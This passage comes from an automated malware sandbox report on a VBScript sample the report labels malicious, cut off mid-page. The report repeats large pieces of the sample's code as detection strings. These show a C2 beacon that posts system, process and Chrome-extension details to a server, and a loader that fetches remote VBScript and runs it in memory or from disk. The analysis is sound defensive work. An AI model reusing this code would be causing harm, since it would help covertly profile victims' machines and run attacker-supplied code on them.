"ACTIVETIMEBIAS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "")2e:T576,Found string ""m", strDate)strYear = DatePart("yyyy", strDate)If strDay < 10 Then strDay = "0" & strDayIf strMonth < 10 Then strMonth = "0" & strMonthGetFormattedDate = strMonth & "/" & strDay & "/" & strYearEnd FunctionFunction post(u, content)post = ""On Error Resume NextDim hReq, ulSet hReq = CreateObject("WinHttp.WinHttpRequest.5.1")ul = u & "?t=" & (Timer() * 100)hReq.Open "POST", ul, FalsehReq.Send contentIf hReq.Status = 200 And hReq.ResponseText <> "" Thenpost = hReq.ResponseTextEnd IfEnd FunctionSub PostStatus(baseUrl, uuidVal, statusVal)On Error Resume NextDim statusUrl, body, hReqstatusUrl = baseUrl & "/status"If Right(baseUrl, 1) = "/" Then statusUrl = baseUrl & "status"body = "{""uuid"":""" & Replace(Replace(uuidVal, "\", "\\"), """", "\""") & """ ""status"":""" & Replace(Replace(statusVal, "\", "\\"), """", "\""") & """}"Set hReq = CreateObject("WinHttp.WinHttpRequest.5.1")hReq.Open "POST", statusUrl, FalsehReq.SetRequestHeader "Content-Type", "application/js" (Indicator: ".Open "POST"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "hReq.Open "POST", ul, False" (Indicator: ".Open "POST"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "hReq.Open "POST", statusUrl, False" (Indicator: ".Open "POST"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin")2f:T61d,"WScript.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\* (UID: 00000000-00001316) "WScript.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001316) "WScript.exe" called "FindNextFileW" with parameter nmmhkkegccagdldgiimedpiccmgmieda (UID: 00000000-00001316) "WScript.exe" called "FindFirstFileW" with parameter C:\Users (UID: 00000000-00001316) "WScript.exe" called "FindFirstFileW" with parameter C:\Users\%OSUSER% (UID: 00000000-00001316) "WScript.exe" called "FindFirstFileW" with parameter %USERPROFILE%\AppData (UID: 00000000-00001316) "WScript.exe" called "FindFirstFileW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00001316) "WScript.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google (UID: 00000000-00001316) "WScript.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome (UID: 00000000-00001316) "WScript.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data (UID: 00000000-00001316) "WScript.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\Default (UID: 00000000-00001316) "WScript.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions (UID: 00000000-00001316) "WScript.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda (UID: 00000000-00001316) "WScript.exe" called "FindNextFileW" with parameter Temp (UID: 00000000-00001316)30:Tcc5,file/memory contains long string with (Indicator: " Win32_ComputerSystem"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") file/memory contains long string with (Indicator: " Win32_OperatingSystem"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") file/memory contains long string with (Indicator: " Win32_Process"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") file/memory contains long string with (Indicator: " Win32_Processor"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") file/memory contains long string with (Indicator: " Win32_TimeZone"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") file/memory contains long string with (Indicator: " Win32_NetworkAdapte"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") file/memory contains long string with (Indicator: " Win32_NetworkAdapter"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") file/memory contains long string with (Indicator: " Win32_NetworkAdapterConfiguration"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set colItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem", , 48)" (Indicator: " Win32_ComputerSystem"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: " Win32_OperatingSystem"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set csItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: " Win32_ComputerSystem"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set tzItems = ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")" (Indicator: " Win32_TimeZone"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")" (Indicator: " Win32_Process"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")" (Indicator: " Win32_Processor"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)" (Indicator: " Win32_NetworkAdapte"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)" (Indicator: " Win32_NetworkAdapter"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)" (Indicator: " Win32_NetworkAdapterConfiguration"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "Set prclst = objWMIService.ExecQuery("Select * from Win32_Process")" (Indicator: " Win32_Process"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin")31:Tbbd,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "APPENDTOMULTILABELNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENBADTLDS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENUNREACHABLESERVERS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENDEFAULTSERVERS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DYNAMICSERVERQUERYORDER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "FILTERCLUSTERIP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "WAITFORNAMEERRORONALL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEEDNS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DNSSECURENAMEQUERYFALLBACK"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ENABLEDAFORALLNETWORKS"; Value: "")32:T154f,"se postResp, baseUrlEnd IfWScript.Sleep 5 * 1000Loop' Returns decimal string of random unsigned int32 (0 .. 4294967295)Function GenerateExecuteId()GenerateExecuteId = CStr(Int(4294967296 * Rnd()))End FunctionFunction getUName()getUName = ""Dim ObjWMI, colItems, objItemSet ObjWMI = GetObject("winmgmts:\\" & fcom & "\root\CIMV2")Set colItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem", , 48)For Each objItem In colItemsIf Not IsNull(objItem.UserName) ThengetUName = objItem.UserNameEnd IfNextEnd FunctionFunction getInfo()getInfo = ""Dim ObjWMI, osItems, item, wdate, csItems, tzItems, tzitem, cTZ, UtcName, timezoneDim cpuItems, cpuArch, adapItems, adapterSet ObjWMI = GetObject("winmgmts:\\" & fcom & "\root\CIMV2")Set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")Set wdate = CreateObject("WbemScripting.SWbemDateTime")For Each item In osItemsOn Error Resume NextgetInfo = getInfo & "Hostname:" & tab & item.CSName & entgetInfo" (Indicator: " win32_computersystem"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") "= getInfo & "OS Name:" & tab & item.Caption & " " & item.OSArchitecture & entgetInfo = getInfo & "OS Version:" & tab & item.Version & entIf Not IsNull(item.InstallDate) Thenwdate.Value = item.InstallDategetInfo = getInfo & "Install Date:" & tab & GetFormattedDate(wdate.GetVarDate(True)) & entEnd IfIf Not IsNull(item.LastBootUpTime) Thenwdate.Value = item.LastBootUpTimegetInfo = getInfo & "Boot Time:" & tab & FormatDateTime(wdate.GetVarDate(True)) & entEnd IfNextSet csItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")Set tzItems = ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")For Each item In csItemscTZ = item.CurrentTimeZoneNextFor Each tzitem In tzItemsUtcName = tzitem.StandardNameNexttimezone = "(UTC " & CStr(cTZ / 60) & " hours) " & UtcNamegetInfo = getInfo & "Time Zone:" & tab & timezone & entSet cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")For Each item In cpuItemsSelect Case item.ArchitectureCase 0: cpuArch =" (Indicator: " win32_computersystem"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), ""x86"Case 6: cpuArch = "Itanium"Case 9: cpuArch = "x64"Case Else: cpuArch = "Unknown"End SelectgetInfo = getInfo & "CPU:" & tab & tab & item.Name & " (" & cpuArch & ")" & entNextgetInfo = getInfo & "Path: " & tab & WScript.ScriptFullName & ent & entSet adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)For Each adapter In adapItemsOn Error Resume NextIf Not IsNull(adapter.IPAddress) ThengetInfo = getInfo & "Network Adapter:" & tab & adapter.Description & entgetInfo = getInfo & " MAC Address:" & tab & adapter.MACAddress & entgetInfo = getInfo & " IP Address:" & tab & Join(adapter.IPAddress, ",") & entgetInfo = getInfo & " Subnet Mask:" & tab & Join(adapter.IPSubnet, ",") & entgetInfo = getInfo & " Default Gateway:" & tab & Join(adapter.DefaultIPGateway, ",") & entIf adapter.DHCPEnabled = True ThengetInfo = getInfo & " DHCP Servers:" & tab & adapter.DHCPServer & entEnd IfgetInfo = getInfo & " DNS Ser" (Indicator: " win32_networkadapterconfiguration"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") "ver:" & tab & Join(adapter.DNSServerSearchOrder, ",") & entEnd IfNextEnd FunctionFunction getProc()getProc = ""On Error Resume NextDim objWMIService prclst prcSet objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & fcom & "\root\cimv2")Set prclst = objWMIService.ExecQuery("Select * from Win32_Process")For Each prc In prclstIf InStr(1, prc.Name, "svchost", 1) = 0 And prc.ProcessID <> 0 And prc.ProcessID <> 4 ThengetProc = getProc & ent & CStr(prc.ProcessID) & tab & CStr(prc.SessionID) & tabIf IsNull(prc.CommandLine) ThengetProc = getProc & prc.NameElsegetProc = getProc & prc.CommandLineEnd IfEnd IfNextEnd FunctionFunction getexts()Dim fso shell basePath dict folder subfolder key resultSet fso = CreateObject("Scripting.FileSystemObject")Set shell = CreateObject("WScript.Shell")Set dict = CreateObject("Scripting.Dictionary")basePath = shell.ExpandEnvironmentStrings("%LOCALAPPDATA%\Google\Chrome\User Data\")If fso" (Indicator: " win32_process"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), "Set colItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem", , 48)" (Indicator: " win32_computersystem"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), "Set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: " win32_operatingsystem"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), "Set csItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: " win32_computersystem"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), "Set cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")" (Indicator: " win32_process"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), "Set adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)" (Indicator: " win32_networkadapterconfiguration"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), "Set prclst = objWMIService.ExecQuery("Select * from Win32_Process")" (Indicator: " win32_process"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin")33:T17aa,Found string "se postResp, baseUrlEnd IfWScript.Sleep 5 * 1000Loop' Returns decimal string of random unsigned int32 (0 .. 4294967295)Function GenerateExecuteId()GenerateExecuteId = CStr(Int(4294967296 * Rnd()))End FunctionFunction getUName()getUName = ""Dim ObjWMI, colItems, objItemSet ObjWMI = GetObject("winmgmts:\\" & fcom & "\root\CIMV2")Set colItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem", , 48)For Each objItem In colItemsIf Not IsNull(objItem.UserName) ThengetUName = objItem.UserNameEnd IfNextEnd FunctionFunction getInfo()getInfo = ""Dim ObjWMI, osItems, item, wdate, csItems, tzItems, tzitem, cTZ, UtcName, timezoneDim cpuItems, cpuArch, adapItems, adapterSet ObjWMI = GetObject("winmgmts:\\" & fcom & "\root\CIMV2")Set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")Set wdate = CreateObject("WbemScripting.SWbemDateTime")For Each item In osItemsOn Error Resume NextgetInfo = getInfo & "Hostname:" & tab & item.CSName & entgetInfo" (Indicator: "wmi.exe"; in File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "= getInfo & "OS Name:" & tab & item.Caption & " " & item.OSArchitecture & entgetInfo = getInfo & "OS Version:" & tab & item.Version & entIf Not IsNull(item.InstallDate) Thenwdate.Value = item.InstallDategetInfo = getInfo & "Install Date:" & tab & GetFormattedDate(wdate.GetVarDate(True)) & entEnd IfIf Not IsNull(item.LastBootUpTime) Thenwdate.Value = item.LastBootUpTimegetInfo = getInfo & "Boot Time:" & tab & FormatDateTime(wdate.GetVarDate(True)) & entEnd IfNextSet csItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")Set tzItems = ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")For Each item In csItemscTZ = item.CurrentTimeZoneNextFor Each tzitem In tzItemsUtcName = tzitem.StandardNameNexttimezone = "(UTC " & CStr(cTZ / 60) & " hours) " & UtcNamegetInfo = getInfo & "Time Zone:" & tab & timezone & entSet cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")For Each item In cpuItemsSelect Case item.ArchitectureCase 0: cpuArch =" (Indicator: "wmi.exe"; in File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), Found string ""x86"Case 6: cpuArch = "Itanium"Case 9: cpuArch = "x64"Case Else: cpuArch = "Unknown"End SelectgetInfo = getInfo & "CPU:" & tab & tab & item.Name & " (" & cpuArch & ")" & entNextgetInfo = getInfo & "Path: " & tab & WScript.ScriptFullName & ent & entSet adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)For Each adapter In adapItemsOn Error Resume NextIf Not IsNull(adapter.IPAddress) ThengetInfo = getInfo & "Network Adapter:" & tab & adapter.Description & entgetInfo = getInfo & " MAC Address:" & tab & adapter.MACAddress & entgetInfo = getInfo & " IP Address:" & tab & Join(adapter.IPAddress, ",") & entgetInfo = getInfo & " Subnet Mask:" & tab & Join(adapter.IPSubnet, ",") & entgetInfo = getInfo & " Default Gateway:" & tab & Join(adapter.DefaultIPGateway, ",") & entIf adapter.DHCPEnabled = True ThengetInfo = getInfo & " DHCP Servers:" & tab & adapter.DHCPServer & entEnd IfgetInfo = getInfo & " DNS Ser" (Indicator: "wmi.exe"; in File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin") Found string "ver:" & tab & Join(adapter.DNSServerSearchOrder, ",") & entEnd IfNextEnd FunctionFunction getProc()getProc = ""On Error Resume NextDim objWMIService prclst prcSet objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & fcom & "\root\cimv2")Set prclst = objWMIService.ExecQuery("Select * from Win32_Process")For Each prc In prclstIf InStr(1, prc.Name, "svchost", 1) = 0 And prc.ProcessID <> 0 And prc.ProcessID <> 4 ThengetProc = getProc & ent & CStr(prc.ProcessID) & tab & CStr(prc.SessionID) & tabIf IsNull(prc.CommandLine) ThengetProc = getProc & prc.NameElsegetProc = getProc & prc.CommandLineEnd IfEnd IfNextEnd FunctionFunction getexts()Dim fso shell basePath dict folder subfolder key resultSet fso = CreateObject("Scripting.FileSystemObject")Set shell = CreateObject("WScript.Shell")Set dict = CreateObject("Scripting.Dictionary")basePath = shell.ExpandEnvironmentStrings("%LOCALAPPDATA%\Google\Chrome\User Data\")If fso" (Indicator: "root\cimv2"; in File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), Found string "Set ObjWMI = GetObject("winmgmts:\\" & fcom & "\root\CIMV2")" (Indicator: "root\cimv2"; in File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), Found string "Set colItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem", , 48)" (Indicator: "wmi.exe"; in File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), Found string "Set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: "wmi.exe"; in File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), Found string "Set wdate = CreateObject("WbemScripting.SWbemDateTime")" (Indicator: "wbemscripting."; in File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), Found string "Set csItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: "wmi.exe"; in File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), Found string "Set tzItems = ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")" (Indicator: "wmi.exe"; in File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), Found string "Set cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")" (Indicator: "wmi.exe"; in File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), Found string "Set adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)" (Indicator: "wmi.exe"; in File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), Found string "Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & fcom & "\root\cimv2")" (Indicator: "root\cimv2"; in File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin")34:T503,"ver:" & tab & Join(adapter.DNSServerSearchOrder, ",") & entEnd IfNextEnd FunctionFunction getProc()getProc = ""On Error Resume NextDim objWMIService prclst prcSet objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & fcom & "\root\cimv2")Set prclst = objWMIService.ExecQuery("Select * from Win32_Process")For Each prc In prclstIf InStr(1, prc.Name, "svchost", 1) = 0 And prc.ProcessID <> 0 And prc.ProcessID <> 4 ThengetProc = getProc & ent & CStr(prc.ProcessID) & tab & CStr(prc.SessionID) & tabIf IsNull(prc.CommandLine) ThengetProc = getProc & prc.NameElsegetProc = getProc & prc.CommandLineEnd IfEnd IfNextEnd FunctionFunction getexts()Dim fso shell basePath dict folder subfolder key resultSet fso = CreateObject("Scripting.FileSystemObject")Set shell = CreateObject("WScript.Shell")Set dict = CreateObject("Scripting.Dictionary")basePath = shell.ExpandEnvironmentStrings("%LOCALAPPDATA%\Google\Chrome\User Data\")If fso" (Indicator: "google\chrome\user data") in Source: 8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin, "basePath = shell.ExpandEnvironmentStrings("%LOCALAPPDATA%\Google\Chrome\User Data\")" (Indicator: "google\chrome\user data") in Source: 8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin35:T88b,file/memory contains long string with (Indicator: "ver:" & tab & Join(adapter.DNSServerSearchOrder, ",") & entEnd IfNextEnd FunctionFunction getProc()getProc = ""On Error Resume NextDim objWMIService prclst prcSet objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & fcom & "\root\cimv2")Set prclst = objWMIService.ExecQuery("Select * from Win32_Process")For Each prc In prclstIf InStr(1, prc.Name, "svchost", 1) = 0 And prc.ProcessID <> 0 And prc.ProcessID <> 4 ThengetProc = getProc & ent & CStr(prc.ProcessID) & tab & CStr(prc.SessionID) & tabIf IsNull(prc.CommandLine) ThengetProc = getProc & prc.NameElsegetProc = getProc & prc.CommandLineEnd IfEnd IfNextEnd FunctionFunction getexts()Dim fso shell basePath dict folder subfolder key resultSet fso = CreateObject("Scripting.FileSystemObject")Set shell = CreateObject("WScript.Shell")Set dict = CreateObject("Scripting.Dictionary")basePath = shell.ExpandEnvironmentStrings("%LOCALAPPDATA%\Google\Chrome\User Data\")If fso"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin"), file/memory contains long string with (Indicator: "If m.Count > 0 Then paramsVal = m(0).SubMatches(0) Else paramsVal = ""' Extract "uuid":"..."re.Pattern = """uuid""\s*:\s*""([^""]*)"""Set m = re.Execute(jsonStr)If m.Count > 0 Then uuidVal = m(0).SubMatches(0) Else uuidVal = ""If StrComp(execType, "In-Memory", 1) = 0 Then' In-Memory: content is VBScript in the response; run it with Execute() passing params (no file, no %1).Dim ExecuteParamscontentVal = ExtractJsonStringValue(jsonStr, "content")If Len(contentVal) = 0 Then Exit SubExecuteParams = paramsValPostStatus baseUrl uuidVal "Downloaded"Execute contentValPostStatus baseUrl uuidVal "Executed"ElseIf StrComp(execType, "Disk", 1) = 0 Then' Disk: GET /3?payload=... via MSXML2.XMLHTTP save to temp with ADODB.Stream then execute with paramsDim getUrl hGet ado tmpPath fso payloadFileNameSet fso = CreateObject("Scripting.FileSystemObject")Set shell = CreateObject("WScript.Shell")payloadFileName = fso.GetFileName(payloadVal)If Len(payloadFileName)"; File: "8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin")1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":76,"unified_at_epoch_ms":1790750844298,"unified_at":"2026-09-30T06:47:24.298Z","metadata":{"hashes":{"sha256":"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19","sha1":"01854c32f006e25206e91eb5a67716c199b38363","md5":"8d3e790f1de8bb6c21f4ac0c583ebab1","sha512":"cbd7a1b406b13690cedd6b37e7a2a45c07a73243702d21369498b59e565a29ba706ce7cf41fe1728f142ad1c9e5ee63896e7e5d5b7e01d73afcc33ec0d2223cc","ssdeep":"384:9TUa4wUXcXuRtW17BsfSefINwBICboUN3pqgB1ssxPzl:OGuRt0CN3pqgB1/tzl","ssdeep_chunks":["384:9TUa4wU","384:TUa4wUX","384:Ua4wUXc","384:a4wUXcX","384:4wUXcXu","384:wUXcXuR","384:UXcXuRt","384:XcXuRtW","384:cXuRtW1","384:XuRtW17","384:uRtW17B","384:RtW17Bs","384:tW17Bsf","384:W17BsfS","384:17BsfSe","384:7BsfSef","384:BsfSefI","384:sfSefIN","384:fSefINw","384:SefINwB","384:efINwBI","384:fINwBIC","384:INwBICb","384:NwBICbo","384:wBICboU","384:BICboUN","384:ICboUN3","384:CboUN3p","384:boUN3pq","384:oUN3pqg","384:UN3pqgB","384:N3pqgB1","384:3pqgB1s","384:pqgB1ss","384:qgB1ssx","384:gB1ssxP","384:B1ssxPz","384:1ssxPzl","768:9TUa4wU","768:TUa4wUX","768:Ua4wUXc","768:a4wUXcX","768:4wUXcXu","768:wUXcXuR","768:UXcXuRt","768:XcXuRtW","768:cXuRt